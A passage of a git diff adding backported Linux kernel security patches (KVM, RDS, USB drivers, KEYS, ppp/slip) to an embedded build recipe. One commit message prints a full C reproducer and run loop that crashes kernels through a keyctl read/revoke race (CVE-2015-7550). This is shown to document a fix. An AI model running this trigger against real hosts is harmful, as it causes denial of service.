if (num_bulk_in < min_num_bulk || num_bulk_out < min_num_bulk) ++ return -ENODEV; ++ ++ return 0; ++} ++ + static int whiteheat_attach(struct usb_serial *serial) + { + struct usb_serial_port *command_port; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0051-79e62de2efb2-KVM x86 work around infinite loop in microcode when AC is.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0051-79e62de2efb2-KVM x86 work around infinite loop in microcode when AC is.patch new file mode 100644 index 0000000..aa8293c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0051-79e62de2efb2-KVM x86 work around infinite loop in microcode when AC is.patch @@ -0,0 +1,95 @@ +From 79e62de2efb2f586726e46342c792360a9644319 Mon Sep 17 00:00:00 2001 +From: Eric Northup +Date: Tue, 3 Nov 2015 18:03:53 +0100 +Subject: KVM: x86: work around infinite loop in microcode when #AC is + delivered + +[ Upstream commit 54a20552e1eae07aa240fa370a0293e006b5faed ] + +It was found that a guest can DoS a host by triggering an infinite +stream of "alignment check" (#AC) exceptions. This causes the +microcode to enter an infinite loop where the core never receives +another interrupt. The host kernel panics pretty quickly due to the +effects (CVE-2015-5307). + +Signed-off-by: Eric Northup +Cc: stable@vger.kernel.org +Signed-off-by: Paolo Bonzini +Signed-off-by: Sasha Levin +--- + arch/x86/include/uapi/asm/svm.h | 1 + + arch/x86/kvm/svm.c | 8 ++++++++ + arch/x86/kvm/vmx.c | 5 ++++- + 3 files changed, 13 insertions(+), 1 deletion(-) + +diff --git a/arch/x86/include/uapi/asm/svm.h b/arch/x86/include/uapi/asm/svm.h +index b5d7640abc5d6..8a4add8e46393 100644 +--- a/arch/x86/include/uapi/asm/svm.h ++++ b/arch/x86/include/uapi/asm/svm.h +@@ -100,6 +100,7 @@ + { SVM_EXIT_EXCP_BASE + UD_VECTOR, "UD excp" }, \ + { SVM_EXIT_EXCP_BASE + PF_VECTOR, "PF excp" }, \ + { SVM_EXIT_EXCP_BASE + NM_VECTOR, "NM excp" }, \ ++ { SVM_EXIT_EXCP_BASE + AC_VECTOR, "AC excp" }, \ + { SVM_EXIT_EXCP_BASE + MC_VECTOR, "MC excp" }, \ + { SVM_EXIT_INTR, "interrupt" }, \ + { SVM_EXIT_NMI, "nmi" }, \ +diff --git a/arch/x86/kvm/svm.c b/arch/x86/kvm/svm.c +index f98baebfa9a75..9dc0aa0dae96b 100644 +--- a/arch/x86/kvm/svm.c ++++ b/arch/x86/kvm/svm.c +@@ -1103,6 +1103,7 @@ static void init_vmcb(struct vcpu_svm *svm) + set_exception_intercept(svm, PF_VECTOR); + set_exception_intercept(svm, UD_VECTOR); + set_exception_intercept(svm, MC_VECTOR); ++ set_exception_intercept(svm, AC_VECTOR); + + set_intercept(svm, INTERCEPT_INTR); + set_intercept(svm, INTERCEPT_NMI); +@@ -1789,6 +1790,12 @@ static int ud_interception(struct vcpu_svm *svm) + return 1; + } + ++static int ac_interception(struct vcpu_svm *svm) ++{ ++ kvm_queue_exception_e(&svm->vcpu, AC_VECTOR, 0); ++ return 1; ++} ++ + static void svm_fpu_activate(struct kvm_vcpu *vcpu) + { + struct vcpu_svm *svm = to_svm(vcpu); +@@ -3350,6 +3357,7 @@ static int (*const svm_exit_handlers[])(struct vcpu_svm *svm) = { + [SVM_EXIT_EXCP_BASE + PF_VECTOR] = pf_interception, + [SVM_EXIT_EXCP_BASE + NM_VECTOR] = nm_interception, + [SVM_EXIT_EXCP_BASE + MC_VECTOR] = mc_interception, ++ [SVM_EXIT_EXCP_BASE + AC_VECTOR] = ac_interception, + [SVM_EXIT_INTR] = intr_interception, + [SVM_EXIT_NMI] = nmi_interception, + [SVM_EXIT_SMI] = nop_on_interception, +diff --git a/arch/x86/kvm/vmx.c b/arch/x86/kvm/vmx.c +index 0d7f1dcfcdac3..84de207a88481 100644 +--- a/arch/x86/kvm/vmx.c ++++ b/arch/x86/kvm/vmx.c +@@ -1493,7 +1493,7 @@ static void update_exception_bitmap(struct kvm_vcpu *vcpu) + u32 eb; + + eb = (1u << PF_VECTOR) | (1u << UD_VECTOR) | (1u << MC_VECTOR) | +- (1u << NM_VECTOR) | (1u << DB_VECTOR); ++ (1u << NM_VECTOR) | (1u << DB_VECTOR) | (1u << AC_VECTOR); + if ((vcpu->guest_debug & + (KVM_GUESTDBG_ENABLE | KVM_GUESTDBG_USE_SW_BP)) == + (KVM_GUESTDBG_ENABLE | KVM_GUESTDBG_USE_SW_BP)) +@@ -4933,6 +4933,9 @@ static int handle_exception(struct kvm_vcpu *vcpu) + return handle_rmode_exception(vcpu, ex_no, error_code); + + switch (ex_no) { ++ case AC_VECTOR: ++ kvm_queue_exception_e(vcpu, AC_VECTOR, error_code); ++ return 1; + case DB_VECTOR: + dr6 = vmcs_readl(EXIT_QUALIFICATION); + if (!(vcpu->guest_debug & +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0052-cf6580ef92b0-RDS verify the underlying transport exists before creating a.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0052-cf6580ef92b0-RDS verify the underlying transport exists before creating a.patch new file mode 100644 index 0000000..6f03e7e --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0052-cf6580ef92b0-RDS verify the underlying transport exists before creating a.patch @@ -0,0 +1,82 @@ +From cf6580ef92b0f5baf6f9a0ff2c51d852ba5145ba Mon Sep 17 00:00:00 2001 +From: Sasha Levin +Date: Tue, 8 Sep 2015 10:53:40 -0400 +Subject: RDS: verify the underlying transport exists before creating a + connection + +[ Upstream commit 74e98eb085889b0d2d4908f59f6e00026063014f ] + +There was no verification that an underlying transport exists when creating +a connection, this would cause dereferencing a NULL ptr. + +It might happen on sockets that weren't properly bound before attempting to +send a message, which will cause a NULL ptr deref: + +[135546.047719] kasan: GPF could be caused by NULL-ptr deref or user memory accessgeneral protection fault: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC KASAN +[135546.051270] Modules linked in: +[135546.051781] CPU: 4 PID: 15650 Comm: trinity-c4 Not tainted 4.2.0-next-20150902-sasha-00041-gbaa1222-dirty #2527 +[135546.053217] task: ffff8800835bc000 ti: ffff8800bc708000 task.ti: ffff8800bc708000 +[135546.054291] RIP: __rds_conn_create (net/rds/connection.c:194) +[135546.055666] RSP: 0018:ffff8800bc70fab0 EFLAGS: 00010202 +[135546.056457] RAX: dffffc0000000000 RBX: 0000000000000f2c RCX: ffff8800835bc000 +[135546.057494] RDX: 0000000000000007 RSI: ffff8800835bccd8 RDI: 0000000000000038 +[135546.058530] RBP: ffff8800bc70fb18 R08: 0000000000000001 R09: 0000000000000000 +[135546.059556] R10: ffffed014d7a3a23 R11: ffffed014d7a3a21 R12: 0000000000000000 +[135546.060614] R13: 0000000000000001 R14: ffff8801ec3d0000 R15: 0000000000000000 +[135546.061668] FS: 00007faad4ffb700(0000) GS:ffff880252000000(0000) knlGS:0000000000000000 +[135546.062836] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b +[135546.063682] CR2: 000000000000846a CR3: 000000009d137000 CR4: 00000000000006a0 +[135546.064723] Stack: +[135546.065048] ffffffffafe2055c ffffffffafe23fc1 ffffed00493097bf ffff8801ec3d0008 +[135546.066247] 0000000000000000 00000000000000d0 0000000000000000 ac194a24c0586342 +[135546.067438] 1ffff100178e1f78 ffff880320581b00 ffff8800bc70fdd0 ffff880320581b00 +[135546.068629] Call Trace: +[135546.069028] ? __rds_conn_create (include/linux/rcupdate.h:856 net/rds/connection.c:134) +[135546.069989] ? rds_message_copy_from_user (net/rds/message.c:298) +[135546.071021] rds_conn_create_outgoing (net/rds/connection.c:278) +[135546.071981] rds_sendmsg (net/rds/send.c:1058) +[135546.072858] ? perf_trace_lock (include/trace/events/lock.h:38) +[135546.073744] ? lockdep_init (kernel/locking/lockdep.c:3298) +[135546.074577] ? rds_send_drop_to (net/rds/send.c:976) +[135546.075508] ? __might_fault (./arch/x86/include/asm/current.h:14 mm/memory.c:3795) +[135546.076349] ? __might_fault (mm/memory.c:3795) +[135546.077179] ? rds_send_drop_to (net/rds/send.c:976) +[135546.078114] sock_sendmsg (net/socket.c:611 net/socket.c:620) +[135546.078856] SYSC_sendto (net/socket.c:1657) +[135546.079596] ? SYSC_connect (net/socket.c:1628) +[135546.080510] ? trace_dump_stack (kernel/trace/trace.c:1926) +[135546.081397] ? ring_buffer_unlock_commit (kernel/trace/ring_buffer.c:2479 kernel/trace/ring_buffer.c:2558 kernel/trace/ring_buffer.c:2674) +[135546.082390] ? trace_buffer_unlock_commit (kernel/trace/trace.c:1749) +[135546.083410] ? trace_event_raw_event_sys_enter (include/trace/events/syscalls.h:16) +[135546.084481] ? do_audit_syscall_entry (include/trace/events/syscalls.h:16) +[135546.085438] ? trace_buffer_unlock_commit (kernel/trace/trace.c:1749) +[135546.085515] rds_ib_laddr_check(): addr 36.74.25.172 ret -99 node type -1 + +Acked-by: Santosh Shilimkar +Signed-off-by: Sasha Levin +Signed-off-by: David S. Miller +Signed-off-by: Sasha Levin +--- + net/rds/connection.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/net/rds/connection.c b/net/rds/connection.c +index 378c3a6acf84c..f5fb7d6b7c412 100644 +--- a/net/rds/connection.c ++++ b/net/rds/connection.c +@@ -183,6 +183,12 @@ static struct rds_connection *__rds_conn_create(__be32 laddr, __be32 faddr, + } + } + ++ if (trans == NULL) { ++ kmem_cache_free(rds_conn_slab, conn); ++ conn = ERR_PTR(-ENODEV); ++ goto out; ++ } ++ + conn->c_trans = trans; + + ret = trans->conn_alloc(conn, gfp); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0053-8dc1d26b1bae-KVM x86 Reload pit counters for all channels when restoring state.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0053-8dc1d26b1bae-KVM x86 Reload pit counters for all channels when restoring state.patch new file mode 100644 index 0000000..b409382 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0053-8dc1d26b1bae-KVM x86 Reload pit counters for all channels when restoring state.patch @@ -0,0 +1,64 @@ +From 8dc1d26b1bae170d1d11e6460cf745ef10d90bfd Mon Sep 17 00:00:00 2001 +From: Andrew Honig +Date: Wed, 18 Nov 2015 14:50:23 -0800 +Subject: KVM: x86: Reload pit counters for all channels when restoring state + +[ Upstream commit 0185604c2d82c560dab2f2933a18f797e74ab5a8 ] + +Currently if userspace restores the pit counters with a count of 0 +on channels 1 or 2 and the guest attempts to read the count on those +channels, then KVM will perform a mod of 0 and crash. This will ensure +that 0 values are converted to 65536 as per the spec. + +This is CVE-2015-7513. + +Signed-off-by: Andy Honig +Signed-off-by: Paolo Bonzini +Signed-off-by: Sasha Levin +--- + arch/x86/kvm/x86.c | 12 +++++++----- + 1 file changed, 7 insertions(+), 5 deletions(-) + +diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c +index 9fbf7c7fcbd9e..d77189c351a89 100644 +--- a/arch/x86/kvm/x86.c ++++ b/arch/x86/kvm/x86.c +@@ -3668,13 +3668,13 @@ static int kvm_vm_ioctl_get_pit(struct kvm *kvm, struct kvm_pit_state *ps) + + static int kvm_vm_ioctl_set_pit(struct kvm *kvm, struct kvm_pit_state *ps) + { +- int r = 0; +- ++ int i; + mutex_lock(&kvm->arch.vpit->pit_state.lock); + memcpy(&kvm->arch.vpit->pit_state, ps, sizeof(struct kvm_pit_state)); +- kvm_pit_load_count(kvm, 0, ps->channels[0].count, 0); ++ for (i = 0; i < 3; i++) ++ kvm_pit_load_count(kvm, i, ps->channels[i].count, 0); + mutex_unlock(&kvm->arch.vpit->pit_state.lock); +- return r; ++ return 0; + } + + static int kvm_vm_ioctl_get_pit2(struct kvm *kvm, struct kvm_pit_state2 *ps) +@@ -3693,6 +3693,7 @@ static int kvm_vm_ioctl_get_pit2(struct kvm *kvm, struct kvm_pit_state2 *ps) + static int kvm_vm_ioctl_set_pit2(struct kvm *kvm, struct kvm_pit_state2 *ps) + { + int r = 0, start = 0; ++ int i; + u32 prev_legacy, cur_legacy; + mutex_lock(&kvm->arch.vpit->pit_state.lock); + prev_legacy = kvm->arch.vpit->pit_state.flags & KVM_PIT_FLAGS_HPET_LEGACY; +@@ -3702,7 +3703,8 @@ static int kvm_vm_ioctl_set_pit2(struct kvm *kvm, struct kvm_pit_state2 *ps) + memcpy(&kvm->arch.vpit->pit_state.channels, &ps->channels, + sizeof(kvm->arch.vpit->pit_state.channels)); + kvm->arch.vpit->pit_state.flags = ps->flags; +- kvm_pit_load_count(kvm, 0, kvm->arch.vpit->pit_state.channels[0].count, start); ++ for (i = 0; i < 3; i++) ++ kvm_pit_load_count(kvm, i, kvm->arch.vpit->pit_state.channels[i].count, start); + mutex_unlock(&kvm->arch.vpit->pit_state.lock); + return r; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0054-8e20cf2bce12-Input aiptek fix crash on detecting device without endpoints.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0054-8e20cf2bce12-Input aiptek fix crash on detecting device without endpoints.patch new file mode 100644 index 0000000..cfc290f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0054-8e20cf2bce12-Input aiptek fix crash on detecting device without endpoints.patch @@ -0,0 +1,47 @@ +From 8e20cf2bce122ce9262d6034ee5d5b76fbb92f96 Mon Sep 17 00:00:00 2001 +From: Vladis Dronov +Date: Tue, 1 Dec 2015 13:09:17 -0800 +Subject: Input: aiptek - fix crash on detecting device without endpoints + +The aiptek driver crashes in aiptek_probe() when a specially crafted USB +device without endpoints is detected. This fix adds a check that the device +has proper configuration expected by the driver. Also an error return value +is changed to more matching one in one of the error paths. + +Reported-by: Ralf Spenneberg +Signed-off-by: Vladis Dronov +Signed-off-by: Dmitry Torokhov +--- + drivers/input/tablet/aiptek.c | 9 +++++++++ + 1 file changed, 9 insertions(+) + +diff --git a/drivers/input/tablet/aiptek.c b/drivers/input/tablet/aiptek.c +index e7f966da6efa3..78ca44840d60c 100644 +--- a/drivers/input/tablet/aiptek.c ++++ b/drivers/input/tablet/aiptek.c +@@ -1819,6 +1819,14 @@ aiptek_probe(struct usb_interface *intf, const struct usb_device_id *id) + input_set_abs_params(inputdev, ABS_TILT_Y, AIPTEK_TILT_MIN, AIPTEK_TILT_MAX, 0, 0); + input_set_abs_params(inputdev, ABS_WHEEL, AIPTEK_WHEEL_MIN, AIPTEK_WHEEL_MAX - 1, 0, 0); + ++ /* Verify that a device really has an endpoint */ ++ if (intf->altsetting[0].desc.bNumEndpoints < 1) { ++ dev_err(&intf->dev, ++ "interface has %d endpoints, but must have minimum 1\n", ++ intf->altsetting[0].desc.bNumEndpoints); ++ err = -EINVAL; ++ goto fail3; ++ } + endpoint = &intf->altsetting[0].endpoint[0].desc; + + /* Go set up our URB, which is called when the tablet receives +@@ -1861,6 +1869,7 @@ aiptek_probe(struct usb_interface *intf, const struct usb_device_id *id) + if (i == ARRAY_SIZE(speeds)) { + dev_info(&intf->dev, + "Aiptek tried all speeds, no sane response\n"); ++ err = -EINVAL; + goto fail3; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0055-e41946e47ec5-KEYS Fix race between read and revoke.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0055-e41946e47ec5-KEYS Fix race between read and revoke.patch new file mode 100644 index 0000000..221eb95 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0055-e41946e47ec5-KEYS Fix race between read and revoke.patch @@ -0,0 +1,118 @@ +From e41946e47ec501023afd7e5dfeb794ab7492e7c0 Mon Sep 17 00:00:00 2001 +From: David Howells +Date: Fri, 18 Dec 2015 01:34:26 +0000 +Subject: KEYS: Fix race between read and revoke + +[ Upstream commit b4a1b4f5047e4f54e194681125c74c0aa64d637d ] + +This fixes CVE-2015-7550. + +There's a race between keyctl_read() and keyctl_revoke(). If the revoke +happens between keyctl_read() checking the validity of a key and the key's +semaphore being taken, then the key type read method will see a revoked key. + +This causes a problem for the user-defined key type because it assumes in +its read method that there will always be a payload in a non-revoked key +and doesn't check for a NULL pointer. + +Fix this by making keyctl_read() check the validity of a key after taking +semaphore instead of before. + +I think the bug was introduced with the original keyrings code. + +This was discovered by a multithreaded test program generated by syzkaller +(http://github.com/google/syzkaller). Here's a cleaned up version: + + #include + #include + #include + void *thr0(void *arg) + { + key_serial_t key = (unsigned long)arg; + keyctl_revoke(key); + return 0; + } + void *thr1(void *arg) + { + key_serial_t key = (unsigned long)arg; + char buffer[16]; + keyctl_read(key, buffer, 16); + return 0; + } + int main() + { + key_serial_t key = add_key("user", "%", "foo", 3, KEY_SPEC_USER_KEYRING); + pthread_t th[5]; + pthread_create(&th[0], 0, thr0, (void *)(unsigned long)key); + pthread_create(&th[1], 0, thr1, (void *)(unsigned long)key); + pthread_create(&th[2], 0, thr0, (void *)(unsigned long)key); + pthread_create(&th[3], 0, thr1, (void *)(unsigned long)key); + pthread_join(th[0], 0); + pthread_join(th[1], 0); + pthread_join(th[2], 0); + pthread_join(th[3], 0); + return 0; + } + +Build as: + + cc -o keyctl-race keyctl-race.c -lkeyutils -lpthread + +Run as: + + while keyctl-race; do :; done + +as it may need several iterations to crash the kernel. The crash can be +summarised as: + + BUG: unable to handle kernel NULL pointer dereference at 0000000000000010 + IP: [] user_read+0x56/0xa3 + ... + Call Trace: + [] keyctl_read_key+0xb6/0xd7 + [] SyS_keyctl+0x83/0xe0 + [] entry_SYSCALL_64_fastpath+0x12/0x6f + +Reported-by: Dmitry Vyukov +Signed-off-by: David Howells +Tested-by: Dmitry Vyukov +Cc: stable@vger.kernel.org +Signed-off-by: James Morris +Signed-off-by: Sasha Levin +--- + security/keys/keyctl.c | 18 +++++++++--------- + 1 file changed, 9 insertions(+), 9 deletions(-) + +diff --git a/security/keys/keyctl.c b/security/keys/keyctl.c +index 4743d71e4aa6d..fee27fe2b30fa 100644 +--- a/security/keys/keyctl.c ++++ b/security/keys/keyctl.c +@@ -757,16 +757,16 @@ long keyctl_read_key(key_serial_t keyid, char __user *buffer, size_t buflen) + + /* the key is probably readable - now try to read it */ + can_read_key: +- ret = key_validate(key); +- if (ret == 0) { +- ret = -EOPNOTSUPP; +- if (key->type->read) { +- /* read the data with the semaphore held (since we +- * might sleep) */ +- down_read(&key->sem); ++ ret = -EOPNOTSUPP; ++ if (key->type->read) { ++ /* Read the data with the semaphore held (since we might sleep) ++ * to protect against the key being updated or revoked. ++ */ ++ down_read(&key->sem); ++ ret = key_validate(key); ++ if (ret == 0) + ret = key->type->read(key, buffer, buflen); +- up_read(&key->sem); +- } ++ up_read(&key->sem); + } + + error2: +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0056-34a893326f04-USB serial visor fix crash on detecting device without writeurbs.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0056-34a893326f04-USB serial visor fix crash on detecting device without writeurbs.patch new file mode 100644 index 0000000..f84beba --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0056-34a893326f04-USB serial visor fix crash on detecting device without writeurbs.patch @@ -0,0 +1,41 @@ +From 34a893326f0473dbe25c6a128c63e17eba08a71c Mon Sep 17 00:00:00 2001 +From: Vladis Dronov +Date: Tue, 12 Jan 2016 15:10:50 +0100 +Subject: USB: serial: visor: fix crash on detecting device without write_urbs + +[ Upstream commit cb3232138e37129e88240a98a1d2aba2187ff57c ] + +The visor driver crashes in clie_5_attach() when a specially crafted USB +device without bulk-out endpoint is detected. This fix adds a check that +the device has proper configuration expected by the driver. + +Reported-by: Ralf Spenneberg +Signed-off-by: Vladis Dronov +Fixes: cfb8da8f69b8 ("USB: visor: fix initialisation of UX50/TH55 devices") +Cc: stable +Signed-off-by: Johan Hovold +Signed-off-by: Sasha Levin +--- + drivers/usb/serial/visor.c | 6 ++++-- + 1 file changed, 4 insertions(+), 2 deletions(-) + +diff --git a/drivers/usb/serial/visor.c b/drivers/usb/serial/visor.c +index c53fbb3e0b8c6..337a0be89fcf0 100644 +--- a/drivers/usb/serial/visor.c ++++ b/drivers/usb/serial/visor.c +@@ -602,8 +602,10 @@ static int clie_5_attach(struct usb_serial *serial) + */ + + /* some sanity check */ +- if (serial->num_ports < 2) +- return -1; ++ if (serial->num_bulk_out < 2) { ++ dev_err(&serial->interface->dev, "missing bulk out endpoints\n"); ++ return -ENODEV; ++ } + + /* port 0 now uses the modified endpoint Address */ + port = serial->port[0]; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0057-f9e58aab4655-isdnppp Add checks for allocation failure in isdnpppopen.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0057-f9e58aab4655-isdnppp Add checks for allocation failure in isdnpppopen.patch new file mode 100644 index 0000000..7d1d29e --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0057-f9e58aab4655-isdnppp Add checks for allocation failure in isdnpppopen.patch @@ -0,0 +1,43 @@ +From f9e58aab4655efe4f53452977ea29447b7446735 Mon Sep 17 00:00:00 2001 +From: Ben Hutchings +Date: Sun, 1 Nov 2015 16:21:24 +0000 +Subject: isdn_ppp: Add checks for allocation failure in isdn_ppp_open() + +[ Upstream commit 0baa57d8dc32db78369d8b5176ef56c5e2e18ab3 ] + +Compile-tested only. + +Signed-off-by: Ben Hutchings +Signed-off-by: David S. Miller +Signed-off-by: Sasha Levin +--- + drivers/isdn/i4l/isdn_ppp.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/drivers/isdn/i4l/isdn_ppp.c b/drivers/isdn/i4l/isdn_ppp.c +index c4198fa490bfa..86f9abebcb72a 100644 +--- a/drivers/isdn/i4l/isdn_ppp.c ++++ b/drivers/isdn/i4l/isdn_ppp.c +@@ -301,6 +301,8 @@ isdn_ppp_open(int min, struct file *file) + is->compflags = 0; + + is->reset = isdn_ppp_ccp_reset_alloc(is); ++ if (!is->reset) ++ return -ENOMEM; + + is->lp = NULL; + is->mp_seqno = 0; /* MP sequence number */ +@@ -320,6 +322,10 @@ isdn_ppp_open(int min, struct file *file) + * VJ header compression init + */ + is->slcomp = slhc_init(16, 16); /* not necessary for 2. link in bundle */ ++ if (!is->slcomp) { ++ isdn_ppp_ccp_reset_free(is); ++ return -ENOMEM; ++ } + #endif + #ifdef CONFIG_IPPP_FILTER + is->pass_filter = NULL; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0058-82185755d90c-ppp slip Validate VJ compression slot parameters completely.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0058-82185755d90c-ppp slip Validate VJ compression slot parameters completely.patch new file mode 100644 index 0000000..523c387 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0058-82185755d90c-ppp slip Validate VJ compression slot parameters completely.patch @@ -0,0 +1,142 @@ +From 82185755d90c8047c6f4b589c39998ff3d4ca3ad Mon Sep 17 00:00:00 2001 +From: Ben Hutchings +Date: Sun, 1 Nov 2015 16:22:53 +0000 +Subject: ppp, slip: Validate VJ compression slot parameters completely +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +[ Upstream commit 4ab42d78e37a294ac7bc56901d563c642e03c4ae ] + +Currently slhc_init() treats out-of-range values of rslots and tslots +as equivalent to 0, except that if tslots is too large it will +dereference a null pointer (CVE-2015-7799). + +Add a range-check at the top of the function and make it return an +ERR_PTR() on error instead of NULL. Change the callers accordingly. + +Compile-tested only. + +Reported-by: 郭永刚 +References: http://article.gmane.org/gmane.comp.security.oss.general/17908 +Signed-off-by: Ben Hutchings +Signed-off-by: David S. Miller +Signed-off-by: Sasha Levin +--- + drivers/isdn/i4l/isdn_ppp.c | 10 ++++------ + drivers/net/ppp/ppp_generic.c | 6 ++---- + drivers/net/slip/slhc.c | 12 ++++++++---- + drivers/net/slip/slip.c | 2 +- + 4 files changed, 15 insertions(+), 15 deletions(-) + +diff --git a/drivers/isdn/i4l/isdn_ppp.c b/drivers/isdn/i4l/isdn_ppp.c +index 86f9abebcb72a..9c1e8adaf4fc8 100644 +--- a/drivers/isdn/i4l/isdn_ppp.c ++++ b/drivers/isdn/i4l/isdn_ppp.c +@@ -322,9 +322,9 @@ isdn_ppp_open(int min, struct file *file) + * VJ header compression init + */ + is->slcomp = slhc_init(16, 16); /* not necessary for 2. link in bundle */ +- if (!is->slcomp) { ++ if (IS_ERR(is->slcomp)) { + isdn_ppp_ccp_reset_free(is); +- return -ENOMEM; ++ return PTR_ERR(is->slcomp); + } + #endif + #ifdef CONFIG_IPPP_FILTER +@@ -573,10 +573,8 @@ isdn_ppp_ioctl(int min, struct file *file, unsigned int cmd, unsigned long arg) + is->maxcid = val; + #ifdef CONFIG_ISDN_PPP_VJ + sltmp = slhc_init(16, val); +- if (!sltmp) { +- printk(KERN_ERR "ippp, can't realloc slhc struct\n"); +- return -ENOMEM; +- } ++ if (IS_ERR(sltmp)) ++ return PTR_ERR(sltmp); + if (is->slcomp) + slhc_free(is->slcomp); + is->slcomp = sltmp; +diff --git a/drivers/net/ppp/ppp_generic.c b/drivers/net/ppp/ppp_generic.c +index 6d6c20c3ef7e9..fc7b3d76f08e0 100644 +--- a/drivers/net/ppp/ppp_generic.c ++++ b/drivers/net/ppp/ppp_generic.c +@@ -713,10 +713,8 @@ static long ppp_ioctl(struct file *file, unsigned int cmd, unsigned long arg) + val &= 0xffff; + } + vj = slhc_init(val2+1, val+1); +- if (!vj) { +- netdev_err(ppp->dev, +- "PPP: no memory (VJ compressor)\n"); +- err = -ENOMEM; ++ if (IS_ERR(vj)) { ++ err = PTR_ERR(vj); + break; + } + ppp_lock(ppp); +diff --git a/drivers/net/slip/slhc.c b/drivers/net/slip/slhc.c +index 079f7adfcde5e..27ed25252aac5 100644 +--- a/drivers/net/slip/slhc.c ++++ b/drivers/net/slip/slhc.c +@@ -84,8 +84,9 @@ static long decode(unsigned char **cpp); + static unsigned char * put16(unsigned char *cp, unsigned short x); + static unsigned short pull16(unsigned char **cpp); + +-/* Initialize compression data structure ++/* Allocate compression data structure + * slots must be in range 0 to 255 (zero meaning no compression) ++ * Returns pointer to structure or ERR_PTR() on error. + */ + struct slcompress * + slhc_init(int rslots, int tslots) +@@ -94,11 +95,14 @@ slhc_init(int rslots, int tslots) + register struct cstate *ts; + struct slcompress *comp; + ++ if (rslots < 0 || rslots > 255 || tslots < 0 || tslots > 255) ++ return ERR_PTR(-EINVAL); ++ + comp = kzalloc(sizeof(struct slcompress), GFP_KERNEL); + if (! comp) + goto out_fail; + +- if ( rslots > 0 && rslots < 256 ) { ++ if (rslots > 0) { + size_t rsize = rslots * sizeof(struct cstate); + comp->rstate = kzalloc(rsize, GFP_KERNEL); + if (! comp->rstate) +@@ -106,7 +110,7 @@ slhc_init(int rslots, int tslots) + comp->rslot_limit = rslots - 1; + } + +- if ( tslots > 0 && tslots < 256 ) { ++ if (tslots > 0) { + size_t tsize = tslots * sizeof(struct cstate); + comp->tstate = kzalloc(tsize, GFP_KERNEL); + if (! comp->tstate) +@@ -141,7 +145,7 @@ out_free2: + out_free: + kfree(comp); + out_fail: +- return NULL; ++ return ERR_PTR(-ENOMEM); + } + + +diff --git a/drivers/net/slip/slip.c b/drivers/net/slip/slip.c +index 05387b1e2e95e..a17d86a577347 100644 +--- a/drivers/net/slip/slip.c ++++ b/drivers/net/slip/slip.c +@@ -164,7 +164,7 @@ static int sl_alloc_bufs(struct slip *sl, int mtu) + if (cbuff == NULL) + goto err_exit; + slcomp = slhc_init(16, 16); +- if (slcomp == NULL) ++ if (IS_ERR(slcomp)) + goto err_exit; + #endif + spin_lock_bh(&sl->lock); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0059.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0059.diff new file mode 100644 index 0000000..551dc3d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0059.diff @@ -0,0 +1,27 @@ +diff --git a/drivers/media/usb/usbvision/usbvision-video.c b/drivers/media/usb/usbvision/usbvision-video.c +index 9ef7441..d068fef 100644 +--- a/drivers/media/usb/usbvision/usbvision-video.c ++++ b/drivers/media/usb/usbvision/usbvision-video.c +@@ -1540,9 +1540,21 @@ + + if (usbvision_device_data[model].interface >= 0) + interface = &dev->actconfig->interface[usbvision_device_data[model].interface]->altsetting[0]; +- else ++ else if (ifnum < dev->actconfig->desc.bNumInterfaces) + interface = &dev->actconfig->interface[ifnum]->altsetting[0]; ++ else { ++ dev_err(&intf->dev, "interface %d is invalid, max is %d\n", ++ ifnum, dev->actconfig->desc.bNumInterfaces - 1); ++ return -ENODEV; ++ } ++ ++ if (interface->desc.bNumEndpoints < 2) { ++ dev_err(&intf->dev, "interface %d has %d endpoints, but must" ++ " have minimum 2\n", ifnum, interface->desc.bNumEndpoints); ++ return -ENODEV; ++ } + endpoint = &interface->endpoint[1].desc; ++ + if (!usb_endpoint_xfer_isoc(endpoint)) { + dev_err(&intf->dev, "%s: interface %d. has non-ISO endpoint!\n", + __func__, ifnum); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0060-4b2b64d5a6eb-PATCH kexecuefi copy secureboot flag in boot params across kexec.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0060-4b2b64d5a6eb-PATCH kexecuefi copy secureboot flag in boot params across kexec.patch new file mode 100644 index 0000000..3460ec3 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0060-4b2b64d5a6eb-PATCH 